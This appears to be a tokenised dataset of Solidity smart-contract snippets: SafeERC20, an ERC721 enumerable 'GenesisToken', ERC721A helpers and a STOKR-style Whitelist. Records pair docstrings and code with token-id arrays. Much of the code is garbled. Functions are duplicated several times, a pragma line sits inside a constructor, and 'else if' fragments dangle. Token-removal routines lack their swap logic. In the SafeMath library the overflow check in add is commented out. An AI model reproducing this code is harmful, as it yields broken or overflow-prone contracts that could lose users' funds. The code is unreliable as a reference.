logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 timestamp ); /** * @dev Returns the total number of samples. */ function getTotalSamples() external view returns (uint256); }
* @title SafeERC20 @dev Wrappers around ERC20 operations that throw on failure (when the token contract returns false). Tokens that return no value (and instead revert or throw on failure) are also supported, non-reverting calls are assumed to be successful. To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, which allows you to call the safe operations as `token.safeTransfer(...)`, etc./
library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function _callOptionalReturn(address token, bytes memory data) private { (bool success, bytes memory returndata) = token.call(data); assembly { if eq(success, 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } function _callOptionalReturn(address token, bytes memory data) private { (bool success, bytes memory returndata) = token.call(data); assembly { if eq(success, 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } function _callOptionalReturn(address token, bytes memory data) private { (bool success, bytes memory returndata) = token.call(data); assembly { if eq(success, 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } _require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED); }
67,897
[ 1, 9890, 654, 39, 3462, 225, 4266, 10422, 6740, 4232, 39, 3462, 5295, 716, 604, 603, 5166, 261, 13723, 326, 1147, 6835, 1135, 629, 2934, 13899, 716, 327, 1158, 460, 261, 464, 3560, 15226, 578, 604, 603, 5166, 13, 854, 2546, 3260, 16, 1661, 17, 266, 1097, 310, 4097, 854, 12034, 358, 506, 6873, 18, 2974, 999, 333, 5313, 1846, 848, 527, 279, 1375, 9940, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 68, 3021, 358, 3433, 6835, 16, 1492, 5360, 1846, 358, 745, 326, 4183, 5295, 487, 1375, 2316, 18, 4626, 5912, 5825, 13, 9191, 5527, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 654, 39, 3462, 288, 203, 565, 445, 4183, 5912, 12, 203, 3639, 467, 654, 39, 3462, 1147, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 460, 203, 203, 203, 565, 262, 2713, 288, 203, 3639, 389, 1991, 6542, 990, 12, 2867, 12, 2316, 3631, 24126, 18, 3015, 1190, 4320, 12, 2316, 18, 13866, 18, 9663, 16, 358, 16, 460, 10019, 203, 565, 289, 203, 203, 565, 445, 4183, 5912, 1265, 12, 203, 3639, 467, 654, 39, 3462, 1147, 16, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 460, 203, 565, 262, 2713, 288, 203, 3639, 389, 1991, 6542, 990, 12, 2867, 12, 2316, 3631, 24126, 18, 3015, 1190, 4320, 12, 2316, 18, 13866, 1265, 18, 9663, 16, 628, 16, 358, 16, 460, 10019, 203, 565, 289, 203, 203, 565, 445, 389, 1991, 6542, 990, 12, 2867, 1147, 16, 1731, 3778, 501, 13, 3238, 288, 203, 3639, 261, 6430, 2216, 16, 1731, 3778, 327, 892, 13, 273, 1147, 18, 1991, 12, 892, 1769, 203, 203, 3639, 19931, 288, 203, 5411, 309, 7555, 12, 4768, 16, 374, 13, 288, 203, 7734, 327, 892, 3530, 12, 20, 16, 374, 16, 327, 13178, 554, 10756, 203, 7734, 15226, 12, 20, 16, 327, 13178, 554, 10756, 203, 5411, 289, 203, 3639, 289, 203, 203, 565, 289, 203, 565, 445, 389, 1991, 6542, 990, 12, 2867, 1147, 16, 1731, 3778, 501, 13, 3238, 288, 203, 3639, 261, 6430, 2216, 16, 1731, 3778, 327, 892, 13, 273, 1147, 18, 1991, 12, 2 ]
./full_match/1/0x42a43bc18a20831a6AbfC551C9476eBA124C03c2/sources/contracts/HamsterCoin.sol
Apply tax for 48 hours
taxEndTime = block.timestamp + (48 * 60 * 60);
9,771,973
[ 1, 7001, 5320, 364, 9934, 7507, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 5320, 25255, 273, 1203, 18, 5508, 397, 261, 8875, 380, 4752, 380, 4752, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xE7087ACCceb47029dE9F0f1720A6731821d1abdD/sources/contracts/GenesisToken.sol
Mapping from owner to list of owned token IDs Mapping from token ID to index of the owner tokens list Array with all token ids, used for enumeration Mapping from token id to position in the allTokens array
contract GenesisToken is ERC721Drop, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; address public transfersCallback; constructor( string memory _name, string memory _symbol, address _royaltyRecipient, uint128 _royaltyBps, address _primarySaleRecipient pragma solidity ^0.8.0; ) ERC721Drop(_name, _symbol, _royaltyRecipient, _royaltyBps, _primarySaleRecipient) { transfersCallback = address(0); } function getLastTransferTimestamp(uint256 _tokenId) public view virtual returns (uint64 timestamp) { return _ownershipOf(_tokenId).startTimestamp; } function setTransfersCallback(address _transferCallback) external onlyOwner { transfersCallback = _transferCallback; } function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual override { if(transfersCallback != address(0)) { IERC721ATransfersCallback(transfersCallback).afterTokenTransfers(from, to, startTokenId, quantity); } } function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual override { if(transfersCallback != address(0)) { IERC721ATransfersCallback(transfersCallback).afterTokenTransfers(from, to, startTokenId, quantity); } } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Drop) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721A.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721A.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfers( address from, address to, uint256 firstTokenId, uint256 batchSize ) internal virtual override { super._beforeTokenTransfers(from, to, firstTokenId, batchSize); if (batchSize > 1) { revert("ERC721Enumerable: consecutive transfers not supported"); } uint256 tokenId = firstTokenId; if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); } } function _beforeTokenTransfers( address from, address to, uint256 firstTokenId, uint256 batchSize ) internal virtual override { super._beforeTokenTransfers(from, to, firstTokenId, batchSize); if (batchSize > 1) { revert("ERC721Enumerable: consecutive transfers not supported"); } uint256 tokenId = firstTokenId; if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); } } function _beforeTokenTransfers( address from, address to, uint256 firstTokenId, uint256 batchSize ) internal virtual override { super._beforeTokenTransfers(from, to, firstTokenId, batchSize); if (batchSize > 1) { revert("ERC721Enumerable: consecutive transfers not supported"); } uint256 tokenId = firstTokenId; if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); } } } else if (from != to) { function _beforeTokenTransfers( address from, address to, uint256 firstTokenId, uint256 batchSize ) internal virtual override { super._beforeTokenTransfers(from, to, firstTokenId, batchSize); if (batchSize > 1) { revert("ERC721Enumerable: consecutive transfers not supported"); } uint256 tokenId = firstTokenId; if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); } } } else if (to != from) { function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721A.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721A.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; } delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721A.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; } delete _ownedTokens[from][lastTokenIndex]; } delete _ownedTokensIndex[tokenId]; function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenId = _allTokens[lastTokenIndex]; delete _allTokensIndex[tokenId]; _allTokens.pop(); } }
11,635,869
[ 1, 3233, 628, 3410, 358, 666, 434, 16199, 1147, 7115, 9408, 628, 1147, 1599, 358, 770, 434, 326, 3410, 2430, 666, 1510, 598, 777, 1147, 3258, 16, 1399, 364, 16836, 9408, 628, 1147, 612, 358, 1754, 316, 326, 777, 5157, 526, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 31637, 1345, 353, 4232, 39, 27, 5340, 7544, 16, 467, 654, 39, 27, 5340, 3572, 25121, 288, 203, 565, 2874, 12, 2867, 516, 2874, 12, 11890, 5034, 516, 2254, 5034, 3719, 3238, 389, 995, 329, 5157, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 3238, 389, 995, 329, 5157, 1016, 31, 203, 203, 565, 2254, 5034, 8526, 3238, 389, 454, 5157, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 3238, 389, 454, 5157, 1016, 31, 203, 203, 565, 1758, 1071, 29375, 2428, 31, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 389, 529, 16, 203, 3639, 533, 3778, 389, 7175, 16, 203, 3639, 1758, 389, 3800, 15006, 18241, 16, 203, 3639, 2254, 10392, 389, 3800, 15006, 38, 1121, 16, 203, 3639, 1758, 389, 8258, 30746, 18241, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 262, 4232, 39, 27, 5340, 7544, 24899, 529, 16, 389, 7175, 16, 389, 3800, 15006, 18241, 16, 389, 3800, 15006, 38, 1121, 16, 389, 8258, 30746, 18241, 13, 288, 203, 3639, 29375, 2428, 273, 1758, 12, 20, 1769, 203, 565, 289, 203, 203, 565, 445, 7595, 5912, 4921, 12, 11890, 5034, 389, 2316, 548, 13, 1071, 1476, 5024, 1135, 261, 11890, 1105, 2858, 13, 288, 203, 3639, 327, 389, 995, 12565, 951, 24899, 2316, 548, 2934, 1937, 4921, 31, 203, 565, 289, 203, 203, 565, 445, 444, 1429, 18881, 2428, 12, 2867, 389, 13866, 2428, 13, 3903, 1338, 5541, 288, 203, 3639, 29375, 2428, 2 ]
./partial_match/1/0xe6F4d9711121e5304b30aC2Aae57E3b085ad3c4d/sources/src/libraries/internal/Deposits.sol
* @notice Finds index of passed sum. Helper function for `findIndexAndSumOfSum`. @dev Used in `LUP` and `MOMP` calculation @param deposits_ Deposits state struct. @param sum_ The sum to find index for. @return sumIndex_ Smallest index where prefixsum greater than the sum./
function findIndexOfSum( DepositsState storage deposits_, uint256 sum_ ) internal view returns (uint256 sumIndex_) { (sumIndex_,,) = findIndexAndSumOfSum(deposits_, sum_); }
3,630,160
[ 1, 8947, 770, 434, 2275, 2142, 18, 9705, 445, 364, 1375, 4720, 1016, 1876, 3495, 951, 3495, 8338, 1377, 10286, 316, 1375, 48, 3079, 68, 471, 1375, 49, 1872, 52, 68, 11096, 565, 443, 917, 1282, 67, 4019, 538, 1282, 919, 1958, 18, 565, 2142, 67, 1377, 1021, 2142, 358, 1104, 770, 364, 18, 225, 327, 2142, 1016, 67, 9425, 454, 395, 770, 1625, 1633, 1364, 6802, 2353, 326, 2142, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1104, 31985, 3495, 12, 203, 3639, 4019, 538, 1282, 1119, 2502, 443, 917, 1282, 67, 16, 203, 3639, 2254, 5034, 2142, 67, 203, 565, 262, 2713, 1476, 1135, 261, 11890, 5034, 2142, 1016, 67, 13, 288, 203, 3639, 261, 1364, 1016, 67, 16408, 13, 273, 1104, 1016, 1876, 3495, 951, 3495, 12, 323, 917, 1282, 67, 16, 2142, 67, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x5434DB2bB856430E3620c1b9Ca42E680B413AEF3/sources/src/contracts/BasicAzuki.sol
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case./ Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
function tokenOfOwnerByIndex( address owner, uint256 index ) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx; address currOwnershipAddr; unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert("ERC721A: unable to get token of owner by index"); }
2,981,708
[ 1, 9704, 288, 45, 654, 39, 27, 5340, 3572, 25121, 17, 2316, 951, 5541, 21268, 5496, 1220, 855, 445, 353, 531, 12, 4963, 3088, 1283, 2934, 971, 4440, 628, 279, 9004, 6835, 16, 506, 3071, 358, 1842, 16189, 1122, 18, 2597, 2026, 2546, 443, 3994, 598, 23755, 2357, 7876, 1849, 8453, 261, 73, 18, 75, 1671, 12619, 3631, 1842, 364, 3433, 999, 648, 18, 19, 9354, 9391, 353, 23343, 487, 326, 2798, 16217, 1347, 2254, 5034, 277, 353, 3959, 358, 4042, 2254, 5034, 818, 49, 474, 329, 26619, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 951, 5541, 21268, 12, 203, 3639, 1758, 3410, 16, 203, 3639, 2254, 5034, 770, 203, 565, 262, 1071, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 1615, 411, 11013, 951, 12, 8443, 3631, 315, 654, 39, 27, 5340, 37, 30, 3410, 770, 596, 434, 4972, 8863, 203, 3639, 2254, 5034, 818, 49, 474, 329, 26619, 273, 2078, 3088, 1283, 5621, 203, 3639, 2254, 5034, 1147, 2673, 4223, 31, 203, 3639, 1758, 4306, 5460, 12565, 3178, 31, 203, 203, 3639, 22893, 288, 203, 5411, 364, 261, 11890, 5034, 277, 31, 277, 411, 818, 49, 474, 329, 26619, 31, 277, 27245, 288, 203, 7734, 3155, 5460, 12565, 3778, 23178, 273, 389, 995, 12565, 87, 63, 77, 15533, 203, 7734, 309, 261, 995, 12565, 18, 4793, 480, 1758, 12, 20, 3719, 288, 203, 10792, 4306, 5460, 12565, 3178, 273, 23178, 18, 4793, 31, 203, 7734, 289, 203, 7734, 309, 261, 17016, 5460, 12565, 3178, 422, 3410, 13, 288, 203, 10792, 309, 261, 2316, 2673, 4223, 422, 770, 13, 288, 203, 13491, 327, 277, 31, 203, 10792, 289, 203, 10792, 1147, 2673, 4223, 9904, 31, 203, 7734, 289, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 15226, 2932, 654, 39, 27, 5340, 37, 30, 13496, 358, 336, 1147, 434, 3410, 635, 770, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-01-30 */ // File: contracts/math/SafeMath.sol pragma solidity 0.5.12; /// @title SafeMath /// @dev Math operations with safety checks that throw on error library SafeMath { /// @dev Add two integers function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; //assert(c >= a); return c; } /// @dev Subtract two integers function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /// @dev Multiply tow integers function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /// @dev Floor divide two integers function div(uint a, uint b) internal pure returns (uint) { return a / b; } } // File: contracts/ownership/Ownable.sol pragma solidity 0.5.12; /// @title Ownable /// @dev Provide a simple access control with a single authority: the owner contract Ownable { // Ethereum address of current owner address public owner; // Ethereum address of the next owner // (has to claim ownership first to become effective owner) address public newOwner; // @dev Log event on ownership transferred // @param previousOwner Ethereum address of previous owner // @param newOwner Ethereum address of new owner event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /// @dev Forbid call by anyone but owner modifier onlyOwner() { require(msg.sender == owner, "Restricted to owner"); _; } /// @dev Deployer account becomes initial owner constructor() public { owner = msg.sender; } /// @dev Transfer ownership to a new Ethereum account (safe method) /// Note: the new owner has to claim his ownership to become effective owner. /// @param _newOwner Ethereum address to transfer ownership to function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0), "New owner is zero"); newOwner = _newOwner; } /// @dev Transfer ownership to a new Ethereum account (unsafe method) /// Note: It's strongly recommended to use the safe variant via transferOwnership /// and claimOwnership, to prevent accidental transfers to a wrong address. /// @param _newOwner Ethereum address to transfer ownership to function transferOwnershipUnsafe(address _newOwner) public onlyOwner { require(_newOwner != address(0x0), "New owner is zero"); _transferOwnership(_newOwner); } /// @dev Become effective owner (if dedicated so by previous owner) function claimOwnership() public { require(msg.sender == newOwner, "Restricted to new owner"); _transferOwnership(msg.sender); } /// @dev Transfer ownership (internal method) /// @param _newOwner Ethereum address to transfer ownership to function _transferOwnership(address _newOwner) private { if (_newOwner != owner) { emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } newOwner = address(0x0); } } // File: contracts/whitelist/Whitelist.sol pragma solidity 0.5.12; /// @title Whitelist /// @author STOKR contract Whitelist is Ownable { // Set of admins mapping(address => bool) public admins; // Set of Whitelisted addresses mapping(address => bool) public isWhitelisted; /// @dev Log entry on admin added to set /// @param admin An Ethereum address event AdminAdded(address indexed admin); /// @dev Log entry on admin removed from set /// @param admin An Ethereum address event AdminRemoved(address indexed admin); /// @dev Log entry on investor added set /// @param admin An Ethereum address /// @param investor An Ethereum address event InvestorAdded(address indexed admin, address indexed investor); /// @dev Log entry on investor removed from set /// @param admin An Ethereum address /// @param investor An Ethereum address event InvestorRemoved(address indexed admin, address indexed investor); /// @dev Only admin modifier onlyAdmin() { require(admins[msg.sender], "Restricted to whitelist admin"); _; } /// @dev Add admin to set /// @param _admin An Ethereum address function addAdmin(address _admin) public onlyOwner { require(_admin != address(0x0), "Whitelist admin is zero"); if (!admins[_admin]) { admins[_admin] = true; emit AdminAdded(_admin); } } /// @dev Remove admin from set /// @param _admin An Ethereum address function removeAdmin(address _admin) public onlyOwner { require(_admin != address(0x0), "Whitelist admin is zero"); // Necessary? if (admins[_admin]) { admins[_admin] = false; emit AdminRemoved(_admin); } } /// @dev Add investor to set of whitelisted addresses /// @param _investors A list where each entry is an Ethereum address function addToWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (!isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = true; emit InvestorAdded(msg.sender, _investors[i]); } } } /// @dev Remove investor from set of whitelisted addresses /// @param _investors A list where each entry is an Ethereum address function removeFromWhitelist(address[] calldata 